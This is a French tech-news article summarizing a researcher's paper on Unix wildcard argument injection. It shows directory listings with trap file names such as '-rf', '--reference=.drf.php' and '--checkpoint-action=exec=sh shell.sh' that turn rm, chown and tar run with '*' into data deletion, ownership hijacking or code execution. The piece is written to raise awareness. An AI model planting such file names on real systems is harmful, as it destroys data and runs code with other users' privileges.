IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Le joker '*' d'Unix
Une source de bien des dangers

Le , par LittleWhite

33PARTAGES

Vous connaissez très certainement le joker (wildcard), représenté sous Unix et dérivés par le caractère '*'. Ce simple caractère permet à votre terminal de compléter lui-même et de manière automatique des éléments. Plus précisément, si avez un répertoire avec trois fichiers comme suit :

toto
foo
lol
Et que j'exécute la commande suivante (pour lister des fichiers) :
ls *o*o
Sans surprise, vous obtenez :
foo toto
Le joker permet donc de substituer zéro ou plus caractère. Un ls * liste donc, tous les fichiers du dossier courant.
Un outil très utile donc, que vous avez déjà dû utiliser plusieurs fois.

Concept

Un chercheur a publié un document expliquant que cet outil, bien que très pratique est aussi une source de nombreux dangers. Voici un exemple de dossier piégé :
[root@defensecode public]# ls -al
total 20
drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf
Nous voyons ici, un fichier inhabituel "-rf". Si l'utilisateur effectue un rm *, pour supprimer les fichiers actuels, sans supprimer les sous-dossiers, la commande réellement exécutée, sera :
rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf
Et, tristement, il ne restera plus rien de son dossier, ni de ses sous-dossiers.

Hijack du propriétaire et mode des fichiers

Certes, détruire des fichiers, ce n'est peut être pas le plus intéressant. Mais, en cherchant bien, nous pouvons trouver beaucoup plus intéressant et c'est ce qu'a fait le chercheur pour nous : chown.
Imaginons que l'administrateur souhaite changer le propriétaire de tous les fichiers du dossier suivant en "nobody" :
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php
Il utilise la commande :
chown -R nobody:nobody *.php
et le résultat est :
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php
Comme vous pouvez le voir, tous les fichiers appartiennent maintenant à leon. Comme dans l'exemple précédent, la commande a traité le fichier --reference=.drf.php comme une option, option permettant de dire d'utiliser le propriétaire et le groupe d'un fichier, en place d'utiliser la notation PROPRIÉTAIRE:GROUPE.
Pire, avec un lien symbolique menant au dossier /etc/shadow, le propriétaire du dossier système aurait pu être modifié lui aussi.

Cette astuce peut être aussi utilisée avec chmod et les modifications du mode des fichiers.

Exécution de code arbitraire

Il est possible d'aller encore plus loin avec cette astuce. Cette fois, l'outil cible est tar (compression de fichiers) et son option :
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)

--checkpoint-action=ACTION
execute ACTION on each checkpoint
Voici le contenu du dossier piégé :
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
Et la commande utilisée :
tar cf archive.tar *
Vous l'avez deviné, shell.sh sera exécuté à l'insu de l'utilisateur lançant la compression.

Il est possible de faire la même chose avec rsync un autre outil très utilisé et l'option -e.

Ces astuces ne sont pas nouvelles et elles existent depuis plus de vingts ans. Ce n'est pas un bogue et comme toujours, il est du ressort de l'administrateur de faire très attention à ce qu'il exécute et le contenu des dossiers.

Votre opinion

Connaissiez-vous ces astuces ? Comment les avez-vous apprises ?
Avez-vous déjà rencontré ce genre de pièges avec le joker ?
Comment pouvons-nous nous en protéger ?

Source

Back To The Future: Unix Wildcards Gone Wild

Une erreur dans cette actualité ? Signalez-nous-la !